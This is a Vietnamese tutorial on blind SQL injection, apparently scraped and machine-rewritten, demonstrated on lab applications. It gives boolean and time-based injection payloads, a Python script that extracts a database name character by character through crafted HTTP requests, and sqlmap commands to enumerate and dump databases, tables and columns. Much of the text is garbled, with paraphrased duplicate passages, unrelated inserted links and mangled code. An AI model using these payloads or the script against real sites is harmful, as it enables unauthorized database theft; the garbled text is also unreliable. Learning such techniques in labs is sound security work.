Blind sql injection là gì

Trong bài trước tôi có nói cơ bản về lỗ hổng SQL injection link. Trong bài này, ta sẽ đi tìm hiểu về blind SQL injection và cách khai thác. Như đã có nói trong bài trước, blind SQLi là lỗ hổng SQLi mà kết quả trả về khó có thể phát hiện bằng mắt. Blind SQLi lại có 2 kiểu là:

Boolean-base: là kiểu ta có chèn toán tử boolean vào trong câu truy vấn.Time-base: là kiểu ta có thể chèn hàm thời gian vào trong câu truy vấn.Khai thác thủ côngBoolean-base : là kiểu ta có chèn toán tử boolean vào trong câu truy vấn. Time-base : là kiểu ta hoàn toàn có thể chèn hàm thời hạn vào trong câu truy vấn. Khai thác bằng tay thủ côngTrong trong thực tiễn khai thác lỗi blind SQLi thì ta sẽ dùng tool luôn cho nhanh. Nhưng với sự đam mê và lòng nhiệt huyết tìm hiểu và khám phá kỹ năng và kiến thức thì ta cần hiểu được tool hoạt động giải trí dựa trên cái gì. Vì vậy, trước khi khám phá khai thác bằng tool thì ta sẽ tìm hiểu và khám phá cách khai thác thủ công bằng tay trước. Khai thác thủ công bằng tay giúp cho ta hiểu lỗi một cách thâm thúy và vừa đủ. Trong bài sẽ số lượng giới hạn ở hệ quản trị cơ sở tài liệu MySQL và phần demo là beewap bài Boolean-SQLi ( time-base khai thác tương tự như nhưng dùng hàm sleep thay vì dùng toán tử boolean ) .

Bạn đang xem: Blind sql injection là gì

Bạn đang đọc: Blind sql injection là gì

*

Xác định lỗi

Điều cần làm tiên phong là xác lập tiềm năng của ta có bị lỗi SQLi không ? Do lab là boolean-base nên ta chèn những payload boolean vào ô tìm kiếm và so sánh tác dụng từ đó đưa ra nhận xét. Còn trong thực tiễn ta cần phải gửi những loại payload SQLi khác nhau thì mới nhìn nhận đúng đắn được. Do đây là lab nên ta đi tắt một đoạn .

Nhập dữ liệu bình thường

Đầu tiên ta điền dữ liệu bất kỳ như người dùng bình thường để kiểm tra. Trong khi viết bài tôi điền giá trị là boolean (điền gì cũng được).

*

Như ta thấy trên hình có dòng chữ The movie does not exist in our database!, tạm lưu lại và để sử dụng cho lần sau.

Nhập payload SQLi

Sau khi nhập tài liệu thông thường tiếp đó ta chèn payload SQLi và đem hiệu quả nhận được so sánh với hiệu quả khi nhập tài liệu thông thường .*

Với payload nhập vào là boolean” or 1=1# thì ta nhận được kết quả là The movie exists in our database! thay vì The movie does not exist in our database!. Đến đây ta nghi rằng ô tìm kiếm có thể dính lỗi SQLi, để chắc chắn hơn nữa ta sửa payload trên một chút thành boolean” or 1=2#.

*Sau khi sửa payload thì tác dụng trả về lại giống như khi ta nhập giá trị thông thường. Đến đây ta đã chắc như đinh là ô tìm kiếm này bị lỗi boolean-base SQLi. Từ những điều trên ta hoàn toàn có thể phỏng đoán rằng câu truy vấn SQL hoàn toàn có thể là sư sau :SELECT * FROM table_movie WHERE movie = ” USD _GET ” Khi người dùng nhập payload SQLi vào thì câu truy vấn sẽ trở thành như sauSELECT * FROM table_movie WHERE movie = ” boolean ” or 1 = 1 # ” Lưu ý ký tự # trong SQL toàn bộ ký tự sau dấu # sẽ coi là chú thích và được bỏ lỡ khi câu lệnh thực thi .Đối với blind SQLi điều quan trọng nhất ta phải tìm ra sự độc lạ giữa hiệu quả của câu truy vấn có tác dụng và không có hiệu quả. Trong trường hợp này là :The movie does not exist in our database!: truy vấn không có kết quảThe movie exists in our database!: truy vấn có kết quả

Khai thác

: truy vấn không có hiệu quả : truy vấn có tác dụngKhi đã chắc như đinh có lỗi, tiếp theo ta sẽ thực thi khai thác và tên database hiện tại sẽ được lấy ra tiên phong để biết ta đang có quyền thao tác trên database nào. Muốn xác lập tên database tiên phong ta cần xác lập độ dài tên database sau đó mới tìm tên database .Xác định độ dài tên database

boolean” or length((select database()))=1#Sau khi đưa vào Intruder (có thể dùng tool khác nhưng trong trường hợp này thì intruder là tiện nhất) trong burpsuite ta đã thành công ra được độ dài tên database là 5

*Sau khi đã có được độ dài tên database tiếp đến ta sẽ tìm tên database .Xem thêm : Soạn Bài : Từ Tượng Hình Là Gì ? Ngữ Văn 8 và Raquo Hỏi Đáp Onlineboolean ” or substring ( ( select database ( ) ), 1,1 ) = ” a ” # Ta sẽ đổi khác phần offset hàm substring và ký tự so sánh a để tìm ra tên database. Tôi đã viết một đoạn code để thao tác này .

import sys, requests, urllib.parse, stringquery = sys.argv<1>lent = 5printable = string.printableurl = “http://pwnme.me:8088/sqli_4.php?action=search&title=”headers = { “Cookie”: “PHPSESSID=jl30c09gnro3mourbi9mcl1cs7; security_level=0″}def get(query=””): global lent, printable, url, headers result = “” for i in range(1,lent+1): for c in printable: c = urllib.parse.quote(c) payload = “boolean”+or+substring((select+%s),%d,1)=”%s”%%23″%(query, i, c) resp = requests.get(url+payload, headers=headers) if “The movie exists in our database!” in resp.text: c = urllib.parse.unquote(c) print(“Found: %s”%c) result += c break return resultprint(get(query))

Xem thêm: Neocortex là gì

*Để triển khai khai thác sâu hơn ta chỉ cần sửa đổi database ( ) thành những câu truy vấn đến hiệu quả mà ta muốn có

Lấy trên table

SELECT table_name FROM information_schema.tablesLấy colums

SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME =”tên table muốn có”;Lấy dữ liệu của một table

SELECT web10_user FROM table WHERE condition = ” condition ” Khai thác bằng sqlmapCách đơn thuần để khai thác lỗi SQLi nói chung và Blind SQLi nói riêng là sử dụng tool. Tool hay được sử dụng là slqmap, tool này hay được nói đùa là có tích hợp AI vì nó thực sự rất tuyệt. Sqlmap hoàn toàn có thể khai thác được hầu hết những lỗi SQL trong thực tiễn và nó rất thuận tiện sử dụng. Với sqlmap thì ta chỉ việc truyền end-point và việc còn lại đã có sqlmap .

Cài đặt sqlmap

Cài đặt sqlmap cực kì đơn giản trên cả Windows và Linux. Để sử dụng được slqmap thì cần phải cài đặt python trước. Sau khi cài đặt xong python rồi sẽ tiến hành cài đặt sqlmap

Linux

Đối với linux ta hoàn toàn có thể triển khai cài sqlmap bằng câu lệnh trực tiếp hoặc hoàn toàn có thể tải file nén về giải nén ra và chạy. Trong hướng dẫn này tôi sử dụng cách cài bằng câu lệnh .

sudo apt-get install sqlmap -yWindows

Với Windows thì ta sẽ tải file. zip về và giải nén ra. Sau khi giải nén ta chuyển dời vào thư mục sqlmap đã giải nén và chạy lệnh để sử dụng sqlmappython. / sqlmap.py

Khai thác SQLi với sqlmap

Nếu ta không biết sử dụng sqlmap ta có thể mở help với câu lệnhNếu ta không biết sử dụng sqlmap ta hoàn toàn có thể mở help với câu lệnh

sqlmap –helphoặcsqlmap -hh # nâng caoĐầu tiên để khai thác ta cần có mục tiêu, trong bài này tôi sẽ dùng dvwa (website chứa các bài lab cho ta thực hành).

*Trên là giao diện sau khi đã thiết lập và login thành công xuất sắc và chọn phần blind SQLi. Với phong cách thiết kế lab thì ta đã biết rõ là ô tìm kiếm trên có Open lỗ hổng SQLi. Nhưng trong thực tiễn thì không có chuyện đơn thuần như vậy. Điều tiên phong ta cần làm là phải xác lập xem có phải ô tìm kiếm là có năng lực bị lỗi SQLi không ? Để kiểm tra ta điền vài payload đơn thuần như sau :” nếu xuất hiện báo lỗi syntax SQL thì có khả năng khai thác được SQLi” or 1=1# và ” or 1=2# nếu 2 kết quả có khác nhau thì có khả năng bị SQLi” or sleep(5)# nếu thời gian phản hồi của trang lớn hơn 5 giây thì có thể bị SQLi” nếu Open báo lỗi syntax SQL thì có năng lực khai thác được SQLi ” or 1 = 1 # và ” or 1 = 2 # nếu 2 tác dụng có khác nhau thì có năng lực bị SQLi ” or sleep ( 5 ) # nếu thời hạn phản hồi của trang lớn hơn 5 giây thì hoàn toàn có thể bị SQLiTrong bài lab này tôi đã thành công xuất sắc với payload ” or sleep ( 5 ) # vậy là ô tìm kiếm này đã bị lỗi Time-base SQLi. Ta tiến thành khai thác với qlmap .Đầu tiên ta chạy thử với tài liệu nhập vào thông thường, sau đó bắt requests với burpsuite và lưu vào file. Sqlmap có tính năng rất thuận tiện đó là đọc request từ file burp và thực thi khai thác .

GET /vulnerabilities/sqli_blind/?id=1&Submit=Submit HTTP/1.1Host: pwnme.me:8088User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:82.0) Gecko/20100101 Firefox/82.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeCookie: security=low; PHPSESSID=gk42trrcvh982vabnakg3o7l14; security=lowUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cachesqlmap -r dum -p id –technique=T-r dum đọc file dum-p chỉ định param để sqlmap chèn payload vào–technique là kiểu có lỗi SQL mặc định là BEUSTQ ở đây tôi chỉ muốn Time-base nên tôi để là TSau khi chạy xong nếu kết quả hiện ra payload thì end-point đó chắc chắn bị lỗi rồi.

*Đã xác lập có lỗi tiếp theo ta hoàn toàn có thể thực thi khai thác sâu hơn như : dump tổng thể tên database, hiển thị bảng, hiển thị cột, …

Hiển thị tất cả tên database

sqlmap -r dum -p id –technique=T –dbs –threads 10Hiển thị tất cả table trong database

sqlmap -r dum -p id –technique=T –threads 10 -D tên database> –tablesHiển thị tất cả column có trong table

sqlmap -r dum -p id –technique=T –threads 10 -D tên database> T tên table> –columnsDump dữ liệu của columns, table, database bất kỳ

# dump một cộtsqlmap -r dum -p id –technique=T –threads 10 -D tên database> T tên table> -C tên column> –dump#dump một tablesqlmap -r dum -p id –technique=T –threads 10 -D tên database> T tên table> –dump#dump databasesqlmap -r dum -p id –technique=T –threads 10 -D tên database> –dump

Source: https://mindovermetal.org
Category: Wiki là gì

Rate this post
Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments